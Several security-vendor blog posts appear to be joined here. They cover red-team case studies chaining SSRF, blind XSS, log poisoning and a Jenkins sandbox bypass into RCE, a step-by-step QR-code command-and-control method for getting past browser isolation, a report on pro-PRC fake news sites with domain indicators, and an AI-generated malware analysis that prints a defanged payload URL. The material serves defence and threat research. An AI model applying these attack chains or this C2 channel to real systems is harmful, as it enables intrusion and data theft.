Following a thorough reconnaissance phase, the AppSec Team began examination of a mobile application developed by the customer for its business partners. Once the mobile application was decompiled, a hardcoded API key granting unauthorized access to an external API service was discovered. Leveraging the API key, authenticated reconnaissance on the API service was conducted, which led to the discovery of a significant vulnerability within the application's PDF generation feature: a full-read Server-Side Request Forgery (SSRF), enabled through HTML injection.

Vulnerability Identification

During the initial reconnaissance phase, the team observed that numerous internal systems' hostnames were publicly accessible through certificate transparency logs. With that in mind, the objective was to exploit the SSRF vulnerability to determine if any of these internal systems were reachable via the external API service. Eventually, one such host was identified: a commercial ASP.NET document management solution. Once the solution's name and version were identified, the AppSec Team searched for known vulnerabilities online. Among the findings was a recent CVE entry regarding insecure ViewState deserialization, which included details about the affected dynamic-link library (DLL) name.

Exploitation

With no public exploit proof-of-concepts available, the team searched for the DLL without success until the file was found in VirusTotal's public corpus. The DLL was then decompiled into C# code, revealing the vulnerable function, which provided all the necessary components for a successful exploitation. Next, the application security consultants leveraged the post-authentication SSRF vector to exploit the ViewState deserialization vulnerability, affecting the internal application. This attack chain led to a reliable foothold into the parent organization's internal network.

Figure 2: HTML to PDF Server-Side Request Forgery to deserialization

Takeaways

The organization's demilitarized zone (DMZ) was now breached, and the remote access could be passed off to the Red Team operators. This enabled the operators to perform lateral movement into the network and achieve various predetermined objectives. However, the customer expressed high satisfaction with the demonstrated impact prior to lateral movement, especially since the application server housed numerous sensitive documents. This underscores a common misconception that exploiting the external perimeter must necessarily result in facilitating lateral movement within the internal network. Yet, the impact was evident even before lateral movement, simply by gaining access to the customer's sensitive data.

Breaking Barriers: Blind XSS as a Gateway to Internal Networks Context

A company operating in the technology industry engaged Mandiant for a Red Team assessment. This company, with a very mature security program, requested that no phishing be performed because they were already conducting numerous internal phishing and vishing exercises. They highlighted that all previous Red Team engagements had relied heavily on various social engineering methods, and the success rate was consistently low.

Target of Interest

During the external reconnaissance efforts, the AppSec Team identified multiple targets of interest, such as a custom-built customer relationship management (CRM) solution. Leveraging the Wayback Machine on the CRM hostname, a legacy endpoint was discovered, which appeared obsolete but still accessible without authentication. 

Vulnerability Identification

Despite not being accessible through the CRM's user interface, the endpoint contained a functional form to request support. The AppSec Team injected a blind cross-site scripting (XSS) payload into the form, which loaded an external JavaScript file containing post-exploitation code. When successful, this method allows an adversary to temporarily hijack the targeted user's browser tab, allowing attackers to perform actions on behalf of the user. Moments later, the team received a notification that the payload successfully executed within the context of a user browsing an internal customer support administration panel. 

The AppSec Team analyzed the exfiltrated Document Object Model (DOM) to further understand the payload's execution context and assess the data accessible within this internal application.The analysis revealed references to Apache Tapestry framework version 3, a framework initially released in 2004. Shortly after identifying the internal application's framework, Mandiant deployed a local Tapestry v3 instance to identify potential security pitfalls. Through code review, Mandiant discovered a zero-day deserialization vulnerability in the core framework, which led to remote code execution (RCE). Apache Software Foundation assigned CVE-2022-46366 for this RCE.

Exploitation

The zero-day, which affected the internal customer support application, was exploited by submitting an additional blind XSS payload. Crafted to trigger upon form submission, the payload autonomously executed in an employee's browser, exploiting the internal application's deserialization flaw. This led to a crucial foothold within the client's infrastructure, enabling the Red Team to progress with their lateral movement until all objectives were successfully accomplished.

Figure 3: Remote code execution staged with blind cross-site scripting

Takeaways

This real-world scenario highlights a common misconception that cross-site scripting holds minimal relevance in Red Team assessments. The significance and impact of this particular attack vector in this case study were evident: it acted as a gateway, breaching the external network and leveraging an employee's internal network position as a proxy to exploit the internal application. Mandiant had not previously identified XSS vulnerabilities on the external perimeter, which further highlights how the security posture of the external perimeter can be much more robust than that of the internal network.

Logger Danger: From Log Files to Unauthorized Cloud Access Context

An organization in the transportation sector engaged Mandiant to perform a Red Team assessment, with the goal of emulating an initial access broker (IAB) threat group, focused on breaching externally exposed systems and services. Those groups, who typically resell illegitimate access to compromised victims' environments, were previously identified as a significant threat to the organization by the Google Threat Intelligence (GTI) team while building a threat profile to help support assessment activities.

Target of Interest

Among hundreds of external applications identified during the reconnaissance phase, one stood out: a commercial Java-based supply chain management solution hosted in the cloud. This application brought additional attention upon discovery of an online forum post describing its installation procedures. Within the post, a link to an unlisted YouTube video was shared, offering detailed installation and administration guidance. Upon reviewing the video, the AppSec Team noted the URL for the application's trial installer, still accessible online despite not being referenced or indexed anywhere else.

Following installation and local deployment, an administration manual was available within the installation folder. This manual contained a section for a web-based performance monitor plugin that was deployed by default with the application, along with its default credentials. The plugin's functionality included logging performance metrics and stack traces locally in files upon encountering unhandled errors. Furthermore, the plugin's endpoint name was uniquely distinct, making it highly unlikely to be discovered with conventional directory brute-forcing methods.

Vulnerability Identification

The AppSec Team successfully logged into the organization's performance monitor plugin by using the default credentials sourced from the administration manual and resumed local testing to identify post-authentication vulnerabilities. Conducting code review in parallel with manual testing, a log management feature was identified, which allowed authenticated users to manipulate log filenames and directories. The team also observed they could induce errors through targeted, malformed HTTP requests. In conjunction with the log filename manipulation, it was possible to force arbitrary data to be stored at an arbitrary file location on the underlying server's file system.

Exploitation

The strategy involved intentionally triggering exceptions, which the performance monitor would then log in an attacker-defined Jakarta Server Pages (JSP) file within the web application's root directory. The AppSec Team crafted an exploit that injected arbitrary JSP code into an HTTP request's parameter, forcing the performance monitor to log errors into the attacker-controlled JSP file. Upon accessing the JSP log file, the injected code executed, enabling Mandiant to breach the customer's cloud environment and access thousands of sensitive logistics documents.

Figure 4: Remote code execution through log file poisoning

Takeaways

A common assumption that breaches should lead to internal on-premises network access or to Active Directory compromise was challenged in this case study. While lateral movement was constrained by time, the primary objective was achieved: emulating an initial access broker. This involved breaching the cloud environment, where the client lacked visibility compared to its internal Active Directory network, and gaining access to business-critical crown jewels.

Collaborative Intrusion: Webhooks to CI/CD Pipeline Access Context

A company in the automotive sector engaged Mandiant to perform a Red Team assessment, with the goal of obtaining access to their continuous integration and continuous delivery/deployment (CI/CD) pipeline. Due to the sheer number of externally exposed systems, the AppSec Team was staffed to support the Red Team's reconnaissance and breaching efforts.

Target of Interest

Most of the interesting applications were redirecting to the customer's single-sign on (SSO) provider. However, one application had a different behavior. By querying the Wayback Machine, the team uncovered an endpoint that did not redirect to the SSO. Instead, it presented a blank page with a unique favicon. With the goal of identifying the application's underlying technology, the favicon's hash was calculated and queried using Shodan. The results returned many other live applications sharing the same favicon. Interestingly, some of these applications operated independently of SSO, aiding the team in identifying the application's name and vendor.

Vulnerability Identification

Once the application's name was identified, the team visited the vendor's website and accessed their public API documentation. Among the API endpoints, one stood out—it could be directly accessed on the customer's application without redirection to the SSO. This API endpoint did not require authentication and only took an incremental numerical ID as its parameter's value. Upon querying, the response contained sensitive employee information, including email addresses and phone numbers. The team systematically iterated through the API endpoint, incrementing the ID parameter to compile a comprehensive list of employee email addresses and phone numbers. However, the Red Team refrained from leveraging this data, as another intriguing application was discovered. This application exposed a feature that could be manipulated into sending fully user-controlled emails from the company's no-reply@ email address.

Capitalizing on these vulnerabilities, the Red Team initiated a phishing campaign, successfully gaining a foothold in the customer's network before the AppSec Team could identify an external breach vector. As efforts continued on the internal post-exploitation, the application security consultants shifted their focus to support the Red Team's efforts within the internal network.

Exploitation

Digging into network shares, the Red Team found credentials of a developer for an enterprise source control application account. The AppSec Team sifted through reconnaissance data and flagged that the same source control application server was exposed externally. The credentials were successfully used to log in, as multi factor authentication was absent for this user. Within the GitHub interface, the team uncovered a pre-defined webhook linked to the company's internal Jenkins—an integration commonly employed for facilitating communication between source control systems and CI/CD pipelines. Leveraging this discovery, the team created a new webhook. When manually triggered by the team, this webhook would perform an SSRF to internal URLs. This eventually led to the exploitation of an unauthenticated Jenkins sandbox bypass vulnerability (CVE-2019-1003030), and ultimately in remote code execution, effectively compromising the organization's CI/CD pipeline.

Figure 5: External perimeter breach via CI/CD SSRF

Takeaways

In this case study, the efficacy of collaboration between the Red Team and the AppSec Team was demonstrated. Leveraging insights gathered collectively, the teams devised a strategic plan to achieve the main objective set by the customer: accessing its CI/CD pipelines. Moreover, we challenged the misconception that singular critical vulnerabilities are indispensable for reaching objectives. Instead, we revealed the reality where achieving goals often requires innovative detours. In fact, a combination of vulnerabilities or misconfigurations, whether they are discovered by the AppSec Team or the Red Team, can be strategically chained together to accomplish the mission.

Conclusion

As this blog post demonstrated, the integration of application security expertise into Red Team assessments yields significant benefits for organizations seeking to understand and strengthen their security posture. By proactively identifying and addressing vulnerabilities across the entire attack surface, including those commonly overlooked by traditional approaches, businesses can minimize the risk of breaches, protect critical assets, and hopefully avoid the financial and reputational damage associated with successful attacks.

This integrated approach is not limited to Red Team engagements. Organizations with varying maturity levels can also leverage application security expertise within the context of focused external perimeter assessments. These assessments provide a valuable and cost-effective way to gain insights into the security of internet-facing applications and systems, without the need for a Red Team exercise.

Whether through a comprehensive Red Team engagement or a targeted external assessment, incorporating application security expertise enables organizations to better simulate the tactics and techniques of modern adversaries.

Written by: Thibault Van Geluwe de Berlaere

Executive Summary

• Browser isolation is a security technology where web browsing activity is separated from the user's local device by running the browser in a secure environment, such as a cloud server or a virtual machine, and then streaming the visual content to the user's device.

• Browser isolation is often used by organizations to combat phishing threats, protect the device from browser-delivered attacks, and deter typical command-and-control (C2 or C&C) tactics used by attackers.

• In this blog post, Mandiant demonstrates a novel technique that can be used to circumvent all three current types of browser isolation (remote, on-premises, and local) for the purpose of controlling a malicious implant via C2. Mandiant shows how attackers can use machine-readable QR codes to send commands from an attacker-controlled server to a victim device.

Background on Browser Isolation

The great folks at SpecterOps released a blog post earlier this year on browser isolation and how penetration testers and red team operators may work around browser isolation scenarios for ingress tool transfer, egress data transfer, and general bypass techniques. In summary, browser isolation protects users from web-based attacks by sandboxing the web browser in a secure environment (either local or remote) and streaming the visual content back to the user’s local browser. The experience is (ideally) fully transparent to the end user. According to most documentation, three types of browser isolation exist:

1. Remote browser isolation (RBI), the most secure and the most common variant, sandboxes the browser in a cloud-based environment.

2. On-premises browser isolation is similar to RBI but runs the sandboxed browser on-premises. The advantage of this approach is that on-premises web-based applications can be accessed without requiring complex cloud-to-on-premises connectivity.

3. Local browser isolation, or client-side browser isolation, runs the sandboxed browser in a local containerized or virtual machine environment ( e.g., Docker or Windows Sandbox).

The remote browser handles everything from page rendering to executing JavaScript. Only the visual appearance of the web page is sent back to the user’s local browser (a stream of pixels). Keypresses and clicks in the local browser are forwarded to the remote browser, allowing the user to interact with the web application. Organizations often use proxies to ensure all web traffic is served through the browser isolation technology, thereby limiting egress network traffic and restricting an attacker’s ability to bypass the browser isolation.

SpecterOps detailed some of the challenges that offensive security professionals face when operating in browser isolation environments. They document possible approaches on how to circumvent browser isolation by abusing misconfigurations, such as using HTTP headers, cookies, or authentication parameters to bypass the isolation features.

Browser Isolation Prevents Typical Command-and-Control

Command and control (C2 or C&C) refers to an attacker’s ability to remotely control compromised systems via malicious implants. The most common channel to send commands to and from a victim device is through HTTP requests: 

1. The implant requests a command from the attacker-controlled C2 server through an HTTP request (e.g., in the HTTP parameters, headers, or request body).

2. The C2 server returns the command to execute in the HTTP response (e.g., in headers or response body).

3. The implant decodes the HTTP response and executes the command.

4. The implant submits the command output back to the C2 server with another HTTP request.

5. The implant “sleeps” for a while, then repeats the cycle.

However, this approach presents challenges when browser isolation is in use—when making HTTP requests through a browser isolation system, the HTTP response returned to the local browser only contains the streaming engine to render the remote browser’s visual page contents. The original HTTP response (from the web server) is only available in the remote browser. The HTTP response is rendered in the remote browser, and only a stream of pixels is sent to the local browser to visually render the web page. This prevents typical HTTP-based C2 because the local device cannot decode the HTTP response (step 3).

Figure 1: Sequence diagram of browser isolation HTTP request lifecycle

In this blog post, we will explore a different approach to achieving C2 with compromised systems in browser isolation environments, working entirely within the browser isolation context. 

Sending C2 Data Through Pixels

Mandiant’s Red Team developed a novel solution to this problem. Instead of returning the C2 data in the HTTP request headers or body, the C2 server returns a valid web page that visually shows a QR code. The implant then uses a local headless browser (e.g., using Selenium) to render the page, grabs a screenshot, and reads the QR code to retrieve the embedded data. By taking advantage of machine-readable QR codes, an attacker can send data from the attacker-controlled server to a malicious implant even when the web page is rendered in a remote browser.

Figure 2: Sequence diagram of C2 via QR codes

Instead of decoding the HTTP response for the command to execute; the implant visually renders the web page (from the browser isolation’s pixel streaming engine) and decodes the command from the QR code displayed on the page. The new C2 loop is as follows:

1. The implant controls a local headless browser via the DevTools protocol.

2. The implant retrieves the web page from the C2 server via the headless browser. This request is forwarded to the remote (isolated) browser and ultimately lands on the C2 server.

3. The C2 server returns a valid HTML web page with the command data encoded in a QR code (visually shown on the page).

4. The remote browser returns the pixel streaming engine back to the local browser, starting a visual stream showing the rendered web page obtained from the C2 server.

5. The implant waits for the page to fully render, then grabs a screenshot of the local browser. This screenshot contains the QR code.

6. The implant uses an embedded QR scanning library to read the QR code data from the screenshot, thereby obtaining the embedded data.

7. The implant executes the command on the compromised device.

8. The implant (again through the local browser) navigates to a new URL that includes the command output encoded in a URL parameter. This parameter is passed through to the remote browser and ultimately to the C2 server (after all, in legitimate cases, the URL parameters may be required to return the correct web page).The C2 server can decode the command output as in traditional HTTP-based C2.

9. The implant “sleeps” for a while, then repeats the cycle.

Mandiant developed a proof-of-concept (PoC) implant using Puppeteer and the Google Chrome browser in headless mode (though any modern browser could be used). We even went a step further and integrated the implant with Cobalt Strike’s External C2 feature, allowing the use of Cobalt Strike’s BEACON implant while communicating over HTTP requests and QR code responses.

Figure 3: Demo of C2 through QR codes in browser isolation scenarios (Chrome browser window would be hidden in real-world applications)

Because this technique relies on the visual content of the web page, it works in all three browser isolation types (remote, on-premises, and local). 

While the PoC demonstrated the feasibility of this technique, there are some considerations and drawbacks:

• During Mandiant’s testing, using QR codes with the maximum data size (2,953 bytes, 177x177 grid, Error Correction Level "L") was infeasible as the visual stream of the web page rendered in the local browser was of insufficient quality to reliably read the QR code contents. Mandiant was forced to fall back to QR codes containing a maximum of 2,189 bytes of content. Note: QR codes can store up to 2953 bytes per instance, depending on the Error Correction Level (ECL). Higher ECL settings make the QR code more easily readable, but reduce the maximum data size.

• Due to the overhead of using Chrome in headless mode, the remote browser startup time, the page rendering requirements, and the stream of visual content from the remote browser back to the local browser, each request takes ~5s to reliably show and scan the QR code. This introduces significant latency in the C2 channel. For example, at the time of writing, a BEACON payload is ~323 KiB. At 2,189 bytes per QR code and 5s per request, a full BEACON payload is transferred in approximately 12m20s (~438 bytes/s, assuming every QR code can be successfully scanned and every network request goes through seamlessly).While this throughput is certainly sufficient for typical C2 operations, some techniques (e.g., SOCKS proxying) become infeasible.

• Other security features of browser isolation, such as domain reputation, URL scanning, data loss prevention, and request heuristics, are not considered in this blog post. Offensive security professionals will have to overcome these protection measures as well when operating in browser isolation environments.

Conclusion and Recommendations

In this blog post, Mandiant demonstrated a novel technique to establish C2 when faced with browser isolation. While this technique proves that browser isolation technologies have weaknesses, Mandiant still recommends browser isolation as a strong protection measure against other types of attacks (e.g., client-side browser exploitation, phishing, etc). Organizations should not solely rely on browser isolation to protect themselves from web-based threats, but rather embrace the "defense in depth" strategy and establish a well-rounded cyber defense posture. Mandiant recommends the following controls:

1. Monitor for anomalous network traffic: Even when using browser isolation, organizations should inspect network traffic and monitor for anomalous usage. The C2 method described in this post is low-bandwidth, hence transferring even small datasets will require many HTTP requests.

2. Monitor for browsers in automation mode: Organizations can monitor when browsers are used in automation mode (as shown in the video above) by inspecting the process command line. Chromium-based browsers use flags such as --enable-automation and --remote-debugging-port to enable other processes to control the browser through the DevTools protocol. Organizations can monitor for these flags during process creation.

Through numerous adversarial emulation engagements and Red Team and Purple Team assessments, Mandiant has gained an in-depth understanding of the unique paths attackers may take in compromising their targets. Review our Technical Assurance services and contact us for more information.

Written by: Vanessa Molter

Special thanks to Mandiant's Ryan Serabian for his contributions to this analysis.

UPDATE (December 4): This blog post was updated to include example domains associated with GLASSBRIDGE.

This blog post details GLASSBRIDGE—an umbrella group of four different companies that operate networks of inauthentic news sites and newswire services tracked by the Google Threat Intelligence Group (consisting of Google’s Threat Analysis Group (TAG) and Mandiant). Collectively these firms bulk-create and operate hundreds of domains that pose as independent news websites from dozens of countries, but are in fact publishing thematically similar, inauthentic content that emphasizes narratives aligned to the political interests of the People’s Republic of China (PRC). Since 2022, Google has blocked more than a thousand GLASSBRIDGE-operated websites from eligibility to appear in Google News features and Google Discover because these sites violated our policies that prohibit deceptive behavior and require editorial transparency. 

We cannot attribute who hired these services to create the sites and publish content, but assess the firms may be taking directions from a shared customer who has outsourced the distribution of pro-PRC content via imitation news websites.

These campaigns are another example of private public relations (PR) firms conducting coordinated influence campaigns—in this case, spreading content aligned with the PRC’s views and political agenda to audiences dispersed across the globe. By using private PR firms, the actors behind the information operations (IO) gain plausible deniability, obscuring their role in the dissemination of coordinated inauthentic content.

The Basics

These inauthentic news sites are operated by a small number of stand-alone digital PR firms that offer newswire, syndication and marketing services. They pose as independent outlets that republish articles from PRC state media, press releases, and other content likely commissioned by other PR agency clients. In some cases, they publish localized news content copied from legitimate news outlets. We have also observed content from DRAGONBRIDGE, the most prolific IO actor TAG tracks, disseminated in these campaigns. 

Although the four PR firms discussed in this post are separate from one another, they operate in a similar fashion, bulk-creating dozens of domains at a time and sharing thematically similar inauthentic content. Based on the set of inauthentic news domain names, the firms target audiences outside the PRC, including Australia, Austria, Czechia, Egypt, France, Germany, Hungary, Kenya, India, Indonesia, Japan, Luxemburg, Macao, Malaysia, New Zealand, Nigeria, Poland, Portugal, Qatar, Russia, Saudi Arabia, Singapore, South Korea, Spain, Switzerland, Taiwan, Thailand, Turkey, the United States, Vietnam, and the Chinese-speaking diaspora.

The use of newswire services is a shared tactic across all campaigns, and two of the PR firms directly control and operate the newswire services.

Figure 1: GLASSBRIDGE is an ecosystem of companies and newswire services that publish inauthentic news content

The Most Prolific: Shanghai Haixun Technology

Of the PR and marketing firms we have observed supporting pro-China IO campaigns, the most prolific is Shanghai Haixun Technology Co., Ltd or “Haixun”. Since TAG first began tracking Haixun, Google has removed more than 600 policy-violating domains linked to the firm from the ability to appear in Google News features. The sites target English- and Chinese-speaking audiences, as well as audiences in a number of countries such as Brazil, India, Japan, Kenya, Korea, Malaysia, Saudi Arabia, Singapore, Spain, Russia, Thailand, Qatar, and Vietnam. Google has also terminated a limited number of policy-violating YouTube channels tied to the group. 

In July 2023, Mandiant identified Haixun using both Times Newswire and World Newswire to place pro-Beijing content on the subdomains of legitimate news outlets. Mandiant also identified Haixun’s use of freelance services such as Fiverr to recruit for-hire social media accounts to promote pro-Beijing content.

Haixun’s inauthentic news sites are generally low quality, and much of the content on the domains is spammy and repetitive. Mixed in with “filler” articles on topics such as the metaverse, the sites publish news content that is politically aligned to the views of the PRC government. This includes articles from the Global Times, a PRC state-controlled media outlet, and narratives aligned to common PRC talking points on Beijing’s territorial claims in the South China Sea, Taiwan, ASEAN, Falun Gong, Xinjiang, and the COVID-19 pandemic.

Figure 2: Haixun inauthentic news featuring a mix of content, including PRC government talking points, Global Times articles, and content on the metaverse

Times Newswire and Shenzhen Haimai Yunxiang Media 

In February 2024, we removed policy-violating domains from appearing on Google News surfaces associated with a pro-PRC coordinated influence campaign reported by Citizen Lab as PAPERWALL that operated a network of over 100 websites in more than 30 countries masquerading as local news outlets. The imitation news sites published localized news content copied from legitimate local news outlets alongside articles republished from PRC state-controlled media, as well as press releases, conspiracy theories, and ad hominem attacks targeting specific individuals. 

Based on technical indicators, TAG determined the inauthentic news websites were operated and controlled directly by Times Newswire, one of the news wire services that has distributed content on behalf of Haixun. TAG believes Times Newswire is, in turn, operated by another Chinese media company, Shenzhen Haimai Yunxiang Media Co., Ltd., or “Haimai”, which bills itself as a service provider specialized in global media communication and overseas network promotion. 

The views expressed in the conspiracy and smear content were similar to past pro-PRC IO campaigns—for example, character attacks against the Chinese virologist Yan Limeng and claims that the US is conducting biological experiments on humans. Much of the smear content targeting specific individuals was ephemeral—it was posted on imitation news sites for a short period of time and then removed. 

DURINBRIDGE

Another example of a commercial firm distributing content linked to pro-China IO campaigns is DURINBRIDGE, an alias we use to track a technology and marketing company that has multiple subsidiaries that provide news and PR services. DURINBRIDGE operates a network of over 200 websites designed to look like independent media outlets that publish news content on various topics. These domains violated our policies and have been blocked from appearing on Google News surfaces and Discover.

Importantly, DURINBRIDGE itself is not an IO actor and likely published the IO content on behalf of a customer or partner. Most of the content on the sites is news and press releases from various sources and has no apparent links to coordinated influence campaigns. However, a small portion of the content includes pro-PRC narratives and content directly linked to IO campaigns from Haixun and DRAGONBRIDGE. DURINBRIDGE sites also used articles and images from Times Newswire, which is operated by the aforementioned Chinese PR firm Haimai. 

We identified multiple DRAGONBRIDGE articles published to DURINBRIDGE’s news sites. The content included narratives focused on exiled businessman Guo Wengui, a perennial topic for DRAGONBRIDGE, and multiple narratives amplified by DRAGONBRIDGE in the lead up to the Taiwanese presidential election.

Figure 3: DRAGONBRIDGE content published to inauthentic news sites operated by DURINBRIDGE

Figure 4: “Secret History of Tsai Ing-Wen,” on DURINBRIDGE-operated inauthentic news site

Figure 5: Narratives about then-candidate Lai Ching-te promoted by DRAGONBRIDGE prior to the Taiwanese presidential election

Shenzhen Bowen Media

In early 2024, TAG and Mandiant identified a fourth marketing firm that operates a network of over 100 domains that pose as independent news sites focused on countries and cities across Europe, the Americas, Asia, and Australia. These domains violated our policies and have been blocked from appearing on Google News surfaces and Discover. The operator of the sites, Shenzhen Bowen Media Information Technology Co., Ltd., is a PRC-based marketing firm that also operates World Newswire, the same press release service used by Haixun to place content on the subdomains of legitimate news outlets.

Figure 6: Sites linked to Shenzhen Bowen with localized content for Brazil and Germany

Shenzhen Bowen’s sites present themselves as local outlets focused on a particular country or city, with articles in the local language about business, sports, and politics. The content is in multiple languages, aligned to each target audience, including Chinese, English, French, German, Japanese, and Thai. The sites do not disclose their connection to the marketing firm. 

Side-by-side with local content, the sites include narratives promoting the Chinese government’s interests, much of it sourced from World Newswire. In more than one case, TAG and Mandiant have identified content linked to DRAGONBRIDGE published on Shenzhen Bowen-operated sites.

Figure 7: DRAGONBRIDGE content on “Boston Journal” website linked to Shenzhen Bowen Media

Conclusion

The inauthentic news sites operated by GLASSBRIDGE illustrate how information operations actors have embraced methods beyond social media in an attempt to spread their narratives. We have observed similar behavior from Russian and Iranian IO actors. By posing as independent, and often local news outlets, IO actors are able to tailor their content to specific regional audiences and present their narratives as seemingly legitimate news and editorial content. In fact, the content has been crafted or amplified by PR and newswire firms who conceal their role, or actively misrepresent their content as local and independent news coverage. In the case of GLASSBRIDGE, the consistency in content, behavioral similarities, connections across firms, and pro-PRC messaging suggests the private firms take direction from a shared customer who outsourced the creation of influence campaigns. Google is committed to information transparency, and we will continue tracking GLASSBRIDGE and blocking their inauthentic content on Google’s platforms. We regularly disclose our latest enforcement actions in the TAG Bulletin. 

Indicators of Compromise

Group

Domain

Shenzhen Haimai Yunxiang Media

updatenews[.]info

Shenzhen Haimai Yunxiang Media

volgogradpost[.]com

Shenzhen Haimai Yunxiang Media

ulstergrowth[.]com

Shenzhen Haimai Yunxiang Media

tulunet[.]com

Shenzhen Haimai Yunxiang Media

torinohuman[.]com

Shenzhen Haimai Yunxiang Media

teotihuacaneco[.]com

Shenzhen Haimai Yunxiang Media

taurustimes[.]com

Shenzhen Haimai Yunxiang Media

tarragonapost[.]com

Shenzhen Haimai Yunxiang Media

stptb[.]org

Shenzhen Haimai Yunxiang Media

sendaishimbun[.]com

Shenzhen Bowen Media

pollandobserver[.]com

Shenzhen Bowen Media

japandigest[.]net

Shenzhen Bowen Media

melbournenews[.]org

Shenzhen Bowen Media

japanheadline[.]com

Shenzhen Bowen Media

voiceofthailand[.]com

Shenzhen Bowen Media

dailybangkokpost[.]com

Shenzhen Bowen Media

kolnerzeitschrift[.]de

Shenzhen Bowen Media

italiannotizie[.]com

Shenzhen Bowen Media

macaoposts[.]com

Shenzhen Bowen Media

dailysydney[.]net

Shenzhen Bowen Media

bitcoinnewstokyo[.]com

Shanghai Haixun Technology

eutimes[.]fr

Shanghai Haixun Technology

hurriyetbusiness[.]com

Shanghai Haixun Technology

saudiweekly[.]com

Shanghai Haixun Technology

newzealandgazette[.]com

Shanghai Haixun Technology

macaomorning[.]com

Shanghai Haixun Technology

technologykr[.]com

Shanghai Haixun Technology

thaicitynews[.]com

Shanghai Haixun Technology

taiwanweekly[.]com

Shanghai Haixun Technology

malaysiaunion[.]com

Shanghai Haixun Technology

bitcherrynet[.]cn

Shanghai Haixun Technology

qichetimes[.]com

Shanghai Haixun Technology

digitaljapan[.]info

Shanghai Haixun Technology

baobeimama[.]com[.]cn

Shanghai Haixun Technology

moderntimes[.]com[.]cn

Shanghai Haixun Technology

jakartapost[.]org

Shanghai Haixun Technology

uscitynews[.]com

Shanghai Haixun Technology

russiabbs[.]com

Shanghai Haixun Technology

turkishdaily[.]org

Shanghai Haixun Technology

dertagesspiegel[.]com

Shanghai Haixun Technology

spaintour[.]club

DURINBRIDGE

dailydispatcher[.]com

DURINBRIDGE

easterntribunal[.]com

DURINBRIDGE

suratkhabar[.]com

DURINBRIDGE

buzzingasia[.]com

DURINBRIDGE

internasionalkini[.]com

DURINBRIDGE

thinkbusinesstoday[.]com

DURINBRIDGE

stargazersarchive[.]com

DURINBRIDGE

starsgazette[.]com

DURINBRIDGE

glamorousnews[.]com

DURINBRIDGE

lifevoyageurs[.]com

DURINBRIDGE

heartofmalaysia[.]com

One of Google Cloud's major missions is to arm security professionals with modern tools to help them defend against the latest threats. Part of that mission involves moving closer to a more autonomous, adaptive approach in threat intelligence automation.

In our latest advancements in malware analysis, we’re equipping Gemini with new capabilities to address obfuscation techniques and obtain real-time insights on indicators of compromise (IOCs). By integrating the Code Interpreter extension, Gemini can now dynamically create and execute code to help deobfuscate specific strings or code sections, while Google Threat Intelligence (GTI) function calling enables it to query GTI for additional context on URLs, IPs, and domains found within malware samples. These tools are a step toward transforming Gemini into a more adaptive agent for malware analysis, enhancing its ability to interpret obfuscated elements and gather contextual information based on the unique characteristics of each sample.

Building on this foundation, we previously explored critical preparatory steps with Gemini 1.5 Pro, leveraging its expansive 2-million-token input window to process substantial sections of decompiled code in a single pass. To further enhance scalability, we introduced Gemini 1.5 Flash, incorporating automated binary unpacking through Mandiant Backscatter before the decompilation phase to tackle certain obfuscation techniques. Yet, as any seasoned malware analyst knows, the true challenge often begins once the code is exposed. Malware developers frequently employ obfuscation tactics to conceal critical IOCs and underlying logic. Malware may also download additional malicious code, making it challenging to fully understand the behavior of a given sample.

For large language models (LLMs), obfuscation techniques and additional payloads create unique challenges. When dealing with obfuscated strings such as URLs, IPs, domains, or file names, LLMs often “hallucinate” without explicit decoding methods. Additionally, LLMs cannot access, for example, URLs that host additional payloads, often resulting in speculative interpretations about the sample’s behavior.

To help with these challenges, Code Interpreter and GTI function calling tools provide targeted solutions. Code Interpreter enables Gemini to autonomously create and execute custom scripts, as needed, using its own judgment to decode obfuscated elements within a sample, such as strings encoded with XOR-based algorithms. This capability minimizes interpretation errors and enhances Gemini's ability to reveal hidden logic without requiring manual intervention. 

Meanwhile, GTI function calling expands Gemini’s reach by retrieving contextualized information from Google Threat Intelligence on suspicious external resources such as URLs, IPs, or domains, providing verified insights without speculative guesses. Together, these tools equip Gemini to better handle obfuscated or externally hosted data, bringing it closer to the goal of functioning as an autonomous agent for malware analysis.

To illustrate how these enhancements boost Gemini's capabilities, let's look at a practical example. In this case, we’re analyzing a PowerShell script that contains an obfuscated URL that hosts a second-stage payload. This particular sample was previously analyzed with some of the most advanced publicly available LLM models, which incorporate code generation and execution as part of their reasoning process. Despite these capabilities, each model “hallucinated,” generating completely fabricated URLs instead of accurately revealing the correct one.

Obfuscated PowerShell code sample to be analyzed by Gemini

Utilizing Code Interpreter and GTI function calling as part of its reasoning process, Gemini autonomously generated the following report without any human intervention. When deemed necessary, it applies these tools to process and extract additional information from the sample.

Final Report: PowerShell Malware with URL Deobfuscation

This report analyzes a PowerShell script designed to download and execute a file from an obfuscated URL. The script employs a custom obfuscation routine resembling the RC4 stream cipher to conceal the malicious URL.

Functionality:

1. Obfuscation Routine: The script defines a function F that performs byte-level XOR encryption using a key derived from the string "tox2". This function is used to deobfuscate the malicious URL.

2. URL Decryption: The obfuscated URL, stored as a byte array, is decrypted using the F function with "tox2" as the key.

3. File Download: The script downloads a file from the decrypted URL (hxxps://filedn[.]eu/lODWTgN8sswHA6Pn8HXWe1J/tox2/Scan_docs%2398097960[.]msi) and saves it to the system's temporary directory under a randomly generated filename.

4. Execution: Finally, the script executes the downloaded file.

Indicators of Compromise (IOCs):

• URL: hxxps://filedn[.]eu/lODWTgN8sswHA6Pn8HXWe1J/tox2/Scan_docs%2398097960[.]msi

Deobfuscation Code:

